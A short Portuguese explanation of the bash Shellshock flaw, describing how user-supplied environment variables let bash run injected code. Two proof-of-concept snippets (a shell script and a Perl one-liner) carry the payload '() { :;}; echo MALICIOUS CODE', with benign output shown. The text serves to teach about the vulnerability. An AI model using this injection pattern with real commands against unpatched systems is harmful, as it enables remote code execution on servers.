A preocupação de segurança é que, se um bash for iniciado com um conjunto de variáveis de ambiente malicioso, esse bash executará o código na variável.
Por exemplo, digamos que você tenha um servidor da Web que chame /bin/foo bar . Vamos dizer que este aplicativo foo também usa uma variável de ambiente chamada baz , e o valor dessa variável vem da entrada fornecida pelo usuário. Portanto, o aplicativo do servidor da web define o ambiente e, em seguida, concede a saída para foo bar . Bem, quando bash ler as variáveis de ambiente, se essa variável fornecida tiver código malicioso, bash executará a variável.
Normalmente isso não é uma preocupação. Variáveis de ambiente devem ser completamente seguras. Se o aplicativo que usa essa variável se comportar mal, isso é outra questão. Mas bash não usa a variável baz na situação acima.
Por exemplo:
testscript.sh
export BAZ='() { :;}; echo MALICIOUS CODE'
echo starting sleep
/bin/bash -c 'sleep 1'
Ao executá-lo, obtemos o seguinte
$ /bin/dash testscript.sh
starting sleep
MALICIOUS CODE
Então, simplesmente tendo esse conjunto de variáveis, podemos obter o bash para executar código arbitrário.
Aqui está outro exemplo que não usa shell explícito e não faz menção ao bash:
$ perl -e '$ENV{"BAZ"}="() { :;}; echo MALICIOUS CODE"; print("starting sleep\n"); system("/bin/sleep 1;");'
starting sleep
MALICIOUS CODE
(para que isso funcione, /bin/sh precisa ser bash)